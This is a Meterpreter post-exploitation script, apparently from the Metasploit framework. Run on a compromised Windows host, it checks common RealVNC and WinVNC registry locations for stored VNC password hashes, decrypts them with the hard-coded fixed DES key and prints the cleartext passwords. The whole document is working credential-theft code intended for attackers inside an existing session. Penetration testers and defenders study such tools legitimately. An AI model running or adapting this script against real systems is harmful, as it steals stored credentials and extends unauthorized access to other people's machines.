#----------------------------------------------------------------
# Meterpreter script to obtain the VNC password out of the
# registry and print its decoded cleartext
#
# by Kurt Grutzmacher <grutz@jingojango.net>
#
# rev history
# -----------
# 1.0 - 9/24/9 - Initial release
#----------------------------------------------------------------

require 'rex/proto/rfb/cipher'

session = client

@@exec_opts = Rex::Parser::Arguments.new(
  "-h" => [ false, "Help menu."],
  "-k" => [ true, "Specific registry key to search (minus Password)."],
  "-l" => [ false, "List default key locations"]
)

def usage()
  print("\nPull the VNC Password from a Windows Meterpreter session\n")
  print("By default an internal list of keys will be searched.\n\n")
  print("\t-k\tSpecific key to search (e.g. HKLM\\\\Software\\\\ORL\\\\WinVNC3\\\\Default)\n")
  print("\t-l\tList default key locations\n\n")
  completed
end

def get_vncpw(session, key)
  root_key, base_key = session.sys.registry.splitkey(key)
  open_key = session.sys.registry.open_key(root_key,base_key,KEY_READ)
  begin
    return open_key.query_value('Password')
  rescue
    # no registry key found or other error
    return nil
  end
end

def listkeylocations(keys)
  print_line("\nVNC Registry Key Locations")
  print_line("--------------------------\n")
  keys.each { |key|
    print_line("\t#{key}")
  }
  completed
end

# fixed des key
fixedkey = "\x17\x52\x6b\x06\x23\x4e\x58\x07"
# 5A B2 CD C0 BA DC AF 13
# some common places for VNC password hashes
keys = [
  'HKLM\\Software\\ORL\\WinVNC3', 'HKCU\\Software\\ORL\\WinVNC3',
  'HKLM\\Software\\ORL\\WinVNC3\\Default', 'HKCU\\Software\\ORL\\WinVNC3\\Default',
  'HKLM\\Software\\ORL\\WinVNC\\Default', 'HKCU\\Software\\ORL\\WinVNC\\Default',
  'HKLM\\Software\\RealVNC\\WinVNC4', 'HKCU\\Software\\RealVNC\\WinVNC4',
  'HKLM\\Software\\RealVNC\\Default', 'HKCU\\Software\\RealVNC\\Default',
]

# parse the command line
listkeylocs = false
keytosearch = nil

@@exec_opts.parse(args) { |opt, idx, val|
  case opt
  when "-h"
    usage
  when "-l"
    listkeylocations(keys)
  when "-k"
    keytosearch = val
  end
}
if client.platform =~ /win32|win64/
if keytosearch == nil
  print_status("Searching for VNC Passwords in the registry....")
  keys.each { |key|
    vncpw = get_vncpw(session, key)
    if vncpw
      vncpw_hextext = vncpw.data.unpack("H*").to_s
      vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey
      print_status("FOUND in #{key} -=> #{vncpw_hextext} => #{vncpw_text}")
    end
  }
else
  print_status("Searching in regkey: #{keytosearch}")
  vncpw = get_vncpw(session, keytosearch)
  if vncpw
    vncpw_hextext = vncpw.data.unpack("H*").to_s
    vncpw_text = Rex::Proto::RFB::Cipher.decrypt vncpw.data, fixedkey
    print_status("FOUND in #{keytosearch} -=> #{vncpw_hextext} => #{vncpw_text}")
  else
    print_status("Not found")
  end
end
else
  print_error("This version of Meterpreter is not supported with this Script!")
  raise Rex::Script::Completed
end